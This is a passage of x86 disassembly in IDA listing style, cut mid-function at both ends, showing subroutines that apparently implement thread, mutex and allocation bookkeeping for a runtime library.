		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		call	near ptr 2770000h
		nop


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42FF50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4300C0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4300F7 ; default
		jmp	off_4300FC[ecx*4] ; switch jump


loc_4300D5:				; DATA XREF: ___:off_4300FCo
		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h,	4C48377h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		nop
		call	near ptr 276057Ah
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 27604DAh
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi ; dword_50F8D0
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 6AE82046h, 90023208h, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 91E89050h
		dd 50023500h, 0E850D3FFh, 232FD34h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 330291E8h
		dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3F8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3F8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2750734h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	esi, dword_44574C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E900
		mov	dword_44574C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44574C
		push	offset dword_50E900
		mov	[edx+8], eax
		mov	dword_44574C, edx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2750599h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 27704B1h
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2780000h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27709C0h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E960
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
